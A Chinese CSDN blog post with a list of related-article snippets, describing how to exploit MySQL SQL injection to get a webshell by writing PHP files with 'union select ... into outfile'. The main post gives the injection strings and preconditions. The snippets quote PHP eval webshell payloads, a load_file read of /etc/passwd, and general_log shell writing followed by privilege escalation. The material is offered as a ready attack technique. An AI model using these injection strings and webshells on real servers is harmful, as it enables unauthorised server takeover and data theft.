MYSQL快速写入一句话拿权限技巧

最新推荐文章于 2021-05-12 05:06:48 发布
最新推荐文章于 2021-05-12 05:06:48 发布
阅读量789 收藏 2
点赞数
分类专栏： hack 文章标签： 提权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dome_/article/details/104122205
版权

必须条件：

root权限
GPC关闭（能使用单引号）
有绝对路径（读文件可以不用，写文件必须）
没有配置–secure-file-priv

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’#
<? phpinfo(); ?>为写入的内容可添加自己的一句话  /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’#
这句是从网上看的，同样也能执行

测试效果


K'illCode
关注
专栏目录
MySQL 写一句话拿 WebShell
ShadowySpirits的博客
10-03 5157
本文介绍两种利用 MySQL getshell 的方法： select … into outfile general_log 一、select … into outfile 介绍 利用需要满足以下条件: 对web目录有写权限 GPC关闭（能使用单引号） 有绝对路径（读文件可以不用，写文件必须） 没有配置 –secure-file-priv 姿势： 有 union id=2) union...
mysql写一句话代码_mysql 写入一句话
weixin_39932479的博客
01-18 554
mysql 写入一句话方法一：1、SHOW VARIABLES LIKE "secure_file_priv"; 查看文件导出功能是否开启 如果：secure_file_priv NULL 值为 null 说明禁止状态，无法导出为文件，需要修改MySQL配置文件：查看是否有 secure_file_priv = ，没有的话添加上 如果为一个目录，如：s...
针对MYSQL数据注入时用到的 load_file()函数
dibodang1423的博客
05-16 264
针对MYSQL数据注入时用到的 load_file()函数对其文件查看的相关路径: 1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)...
mysql写入一句话的方式
孤的博客
09-30 1293
一、union select 后写入 最常见的写入方式，union select 后跟 into outfile 语句 1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:\phpStudy\PHPTutorial\WWW\shell.php” --+ 1’ union select 1,2,’<?p...
php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理
weixin_39800387的博客
02-19 2433
讲一下SQL注入中写一句话拿webshell的原理，主要使用的是 SELECT ... INTO OUTFILE 这个语句，下面是一个语句的例子:SELECT * INTO OUTFILE 'C:\log1.txt'这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面。利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。本地的目标站点来实战一下，我们的目的是在目...
MySQL导出一句话拿WebShell的方法
06-19
### MySQL导出一句话拿WebShell的方法 在网络安全与渗透测试领域中，“拿WebShell”是一种常见操作，通过这种手段，安全研究人员或攻击者能够在目标服务器上执行任意代码，从而达到控制服务器的目的。本文将详细...
mysql没有写入权限_详细解读MySQL中的权限
weixin_39631007的博客
01-19 1674
一、前言很多文章中会说，数据库的权限按最小权限为原则，这句话本身没有错，但是却是一句空话。因为最小权限，这个东西太抽象，很多时候你并弄不清楚具体他需要哪 些权限。 现在很多mysql用着root账户在操作，并不是大家不知道用root权限太大不安全，而是很多人并不知道该给予什么样的权限既安全又能保证正常运行。 所以，本文更多的是考虑这种情况下，我们该如何简单的配置一个安全的mysql。注：本文测试环...
（三）phpstudy下开启mysql，运用phpmyadmin管理执行sql语句，写入一句话后门getshell。
爱上卿的博客
01-15 3732
学习mysql数据库漏洞整理过程中，想复现phpmyadmin写入一句话后门getshell的过程遇到很多问题。phpmyadmin是很多网站用来管理数据库的一个系统，尤其是mysql数据库管理的较多。phpmyadmin实现mysql数据库的管理，采用phpstudy实现较为方便。过程出现较多障碍，一步步走向成功，记录。 1 启动phpstudy，出现mysql无法启动的问题 因为之前已经装...
linux mysql写入一句话,mysql 写入一句话
weixin_39947908的博客
05-12 283
mysql 写入一句话方法一：1、SHOW VARIABLES LIKE "secure_file_priv"; 查看文件导出功能是否开启 如果：secure_file_priv NULL 值为 null 说明禁止状态，无法导出为文件，需要修改MySQL配置文件：查看是否有 secure_file_priv = ，没有的话添加上 如果为一个目录，如：s...
mysql注入写一句话_MySQL手工注入步骤+直接写入一句话
weixin_29227585的博客
01-19 2748
(1)判断注入点 接着通过and 1=1 和 and 1=2测试发现前者正常，后者异常，可以肯定存在注入点，接下来判断该页面查询数据库的字段(2)查询字段数http://unisscan.cn/list.php?lei=246 order by n--结果发现有31个字段 (3)看看哪些字段可以显示信息http://unisscan.cn/list.php?lei=246 and 1=2 uni...
mysql写一句话
jihaichen的博客
05-06 1352
1、创建一个表create TABLE a (cmd text NOT NULL);2、插入数据insert INTO a (cmd) VALUES('&lt;?php eval($_POST[hihack]);?&gt;');3、导出一句话select cmd from a into outfile 'C:\AppServ\www\x.php';4、删除表Drop TABLE IF EXISTS...
MYSQL写入一句话的方式
孤的博客
09-13 1441
一、union select 后写入 最常见的写入方式，union select 后跟 into outfile 语句 1' union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --+ 1' union select 1,2,'&l...
mysql写入一句话木马
热门推荐
Websec
07-16 1万+
前提: root权限，知道了服务器的web的绝对路径，尝试写入一句话 mysql查询语句执行：select "&lt;?php @eval($_POST['pass']);?&gt;" INTO OUTFILE "D:\Wamp\2.php" 注意事项： 1、绝对路径的猜解 2、INTO OUTFILE 后面的"D:\Wamp\2.php"，有的时候需要变成“D:\\Wamp\\2.ph...
通过mysql写入一句话木马
aocong5568的博客
10-11 1979
USE mysql;# MySQL 返回的查询结果为空(即零行)。 # MySQL 返回的查询结果为空(即零行)。 CREATE TABLE a( cmd1 text NOT NULL );# MySQL 返回的查询结果为空(即零行)。 # MySQL 返回的查询结果为空(即零行)。 INSERT INTO a( cmd1 ) VALUES ( '<?php e...
php mysql语句一句话,MYSQL经典语句大全——开发篇
weixin_27565831的博客
03-23 191
MYSQL经典语句大全——开发篇黄舟2016-12-20 16:36:10原创5611.按姓氏笔画排序:Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as //从少到多2.数据库加密:select encrypt('原始密码')select pwdencrypt('原始密码')select p...
phpmyadmin拿权限
kzyyx的博客
08-31 803
标题phpmyadmin拿权限 挺垃圾的一个网站通过弱口令root进入后台。 最主要还能直接直行根目录下phpinfo查看网站绝对路径。 1.首先尝试执行outfile语句写入一句话木马 报错显示说是数据库正在运行–secure_file_priv选项，无法执行outfile这个语句。感觉在这个参数上做了限制。 这是secure_file_priv参数的说明。 2.执行show variables like “%secure%”; 查看配置 回显设置为NULL，没有做限制。暂时不知道原因，后续懂了做补
mysql一句话导出shell
kuxing100的专栏
03-15 1181
很老的东西了，但是很多时候会派上用场 mysql一句话导出shell USE test;# MySQL 返回的查询结果为空(即零行)。 DROP TABLE IF EXISTS hello;# MySQL 返回的查询结果为空(即零行)。 CREATE TABLE hello( cmd TEXT NOT NULL );# MySQL 返回的查询结果为空(即零行)。 I
通过MySql写入一句话进行提权
zgwz123456的博客
03-19 350
本次实战直接以phpMyAdmin里进行sql语句操作 1.show variables like “general_log%” 将general_log改成ON就可以进行mysql日志输出保存了 将general_log_file改成能执行php的目录下，即网站目录下 查看我们修改后的配置 写入我们的一句话木马 select "<?php @eval($_REQUEST['cmd']);?> 在这里我们可以看到成功写入了 用蚁剑连接 接下来我们用msf进行提权，打开kali，这里
MySQL权限详解：全局到列的控制
MySQL的权限管理系统是其核心功能之一，它允许管理员精细控制用户对数据库系统的访问。以下是对标题和描述中提到的知识点的详细说明： 1. **全局层级权限**： 全局权限适用于服务器内的所有数据库。它们存储在`...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值